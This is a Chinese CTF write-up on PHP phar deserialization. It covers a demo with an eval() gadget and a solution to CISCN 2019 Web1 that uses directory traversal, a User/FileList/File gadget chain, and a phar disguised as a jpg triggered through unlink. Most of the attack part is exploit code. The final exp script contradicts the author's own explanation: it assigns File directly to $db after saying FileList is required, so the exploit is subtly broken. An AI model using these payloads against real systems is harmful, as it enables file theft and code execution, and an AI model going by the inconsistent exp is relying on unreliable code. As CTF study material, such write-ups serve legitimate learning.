在NSS刷题的时候遇到了phar反序列化的题目我个人认为有必要学习一下这个漏洞因此写下这篇文章。

前言

我们都知道一般的php反序列化都需要一个参数可控的unserialize函数。这就导致反序列化的条件可以说非常的苛刻。
但是在18年的blackhat大会上Sam Thomas 分享了 File Operation Induced Unserialization via the “phar://” Stream Wrapper ,该研究员指出该方法在 文件系统函数 ( file_get_contents 、 unlink 等)参数可控的情况下,配合 phar://伪协议 ,可以不依赖反序列化函数 unserialize() 直接进行反序列化的操作

原理

phar是将php文件打包的一种压缩文档,其类似于java的jar包。其特点是会以序列化的形式将用户自定义meta-data进行存储。当我们使用phar://伪协议读取该文件时,meta-data就会进行反序列化。这时候就会产生反序列漏洞。

构造phar文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

<?php
ini_set('display_errors', 1);

class Test{
public $name='lalalalalalalla';
}
$a = new Test();
$phar = new Phar("phar.phar"); //生成一个phar文件,名字为phar.phar
$phar -> startBuffering(); //下面细讲
$phar -> setStub("<?php __HALT_COMPILER(); ?>"); //设置stub内容
$phar -> setMetadata($a); //将创建的对象a写入到Metadata中
$phar -> addFromString("test.txt","testaaa"); //添加要进行压缩的文件,文件名为test,文件内容为testaaa
$phar -> stopBuffering();//
?>

我们可以使用如上代码生成phar文件并实现对phar文件Metadata内容的写入。

我们查看phar文件会发现Metadata将对象进行了序列化写入。

DEMO实验

我们本地写一个DEMO来进行实验

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

highlight_file(__FILE__);
error_reporting(0);

class haha
{
public $func;

public function __destruct()
{
eval($this->func);
}

}

$file_name = $_GET["file"];
file_get_contents($file_name);

?>

上面的demo并没有反序列化入口只有一个文件包含函数
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
ini_set('display_errors', 1);

class haha{
public $func="phpinfo();";

}
$a = new haha();
$phar = new Phar("phar.phar"); //生成一个phar文件,名字为phar.phar
$phar -> startBuffering(); //下面细讲
$phar -> setStub("<?php __HALT_COMPILER(); ?>"); //设置stub内容
$phar -> setMetadata($a); //将创建的对象a写入到Metadata中
$phar -> addFromString("test.txt","testaaa"); //添加要进行压缩的文件,文件名为test,文件内容为testaaa
$phar -> stopBuffering();//
?>

我们直接将生成的文件放到同一文件夹下进行实验

我们可以看到在实验phar伪协议对phar文件压缩的文件进行读取时会成功反序列化.

题目

[CISCN 2019华北Day1]Web1

我就是刷到了这题才萌生了学习phar反序列化的想法
我们先进行注册
之后发现可以上传文件,发现只能上传照片,修改一下 MIME 类型会发现可以直接上传成功,但是会被修改成jpg.一开始我以为是条件竞争,看了一下wp发现不是,而是在文件下载的路由可以进行目录穿越.(对目录穿越还是不够敏感下次看到下载就要想到可能存在目录穿越)我们将filename改成/var/www/html/download.php来对文件进行读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

if (!isset($_POST['filename'])) {
die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string)$_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}



会发现这两行代码
1
2
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false)

getcwd()表示当前程序目录即/var/www/html,
其规定了不能直接读取flag,只能读取/var/www/html,/etc,/tmp的内容.即我们无法在这里读取到我们上传的文件.
我们可以发现其导入了class.php文件我们进行文件包含.
class.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
<?php

error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User
{
public $db;

public function __construct()
{
global $db;
$this->db = $db;
}

public function user_exist($username)
{
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}

public function add_user($username, $password)
{
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}

public function verify_user($username, $password)
{
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}

public function __destruct()
{
$this->db->close();
}
}

class FileList
{
private $files;
private $results;
private $funcs;

public function __construct($path)
{
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);

$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);

foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}

public function __call($func, $args)
{
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

public function __destruct()
{
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">涓嬭浇</a> / <a href="#" class="delete">鍒犻櫎</a></td>';
$table .= '</tr>';
}
echo $table;
}
}

class File
{
public $filename;

public function open($filename)
{
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}

public function name()
{
return basename($this->filename);
}

public function size()
{
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2) . $units[$i];
}

public function detele()
{
unlink($this->filename);
}

public function close()
{
return file_get_contents($this->filename);
}
}

我们观察一下会发现我们可以利用File类的close方法的file_get_contents来进行文件读取.我们再观察就会发现User类可以调用close函数,拿我们将$db赋值为File类不就可以了.但是很可惜不行.我也不知道为什么.看了一下wp发现要通过Filelist进行一步处理.wp说直接触发close实际触发的是mysql的close函数.我们将$db赋值为Filelist可以触发__call,我们来着重讲一讲这个方法
1
2
3
4
5
6
7
public function __call($func, $args)
{
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

这么一小段代码可真是让人汗流浃背啊。
首先是将$func传到数组funcs里。func为我们触发的不存在的函数即close。然后将files存储的内容遍历到file里再获取file的变量值。
1
2
3
4
5
$this->results[$file->name()][$func] = $file->$func();//这句代码进行了如下几种操作。
调用$file对象的name()方法,获取一个名称。
使用这个名称作为键,在$this->results数组中找到对应的子数组。
调用$file对象上名为$func的方法。
将该方法的返回值存储到$this->results数组的子数组中,以$func作为键。

即我们只要将files赋值为对象File就可以触发colse
···链子
User->db->filelise->files->File->filename=’/flag.txt’
···
那么我们就查一个触发该链子的入口了。这时候就需要实验phar反序列化了。原因没有反序列入口。但是有文件包含函数所以我们产生使用phar反序列化。但是我们的download入口无法进行包含到我们上传的内容。我们再查看一下删除的源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

if (!isset($_POST['filename'])) {
die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string)$_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}

会发现其没有waf,detele方法使用unlink来处理文件,能触发phar反序列化,那么这题就可以解了
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
class FileList
{
private $files;
private $results;
private $funcs;
public function __construct(){
$this->files=array();
$a=new File();
array_push($this->files,$a);
}
}
class File {
public $filename='/flag.txt';


}
class User
{
public $db;
}
$a=new User();
$a->db=new File();

$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");//设置sutb
$phar->setMetadata($a);//将自定义的meta-data存入manifest
$phar->addFromString("1.txt","123123>");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

之后将文件后缀改为jpg,之后再删除页面进行phar反序列化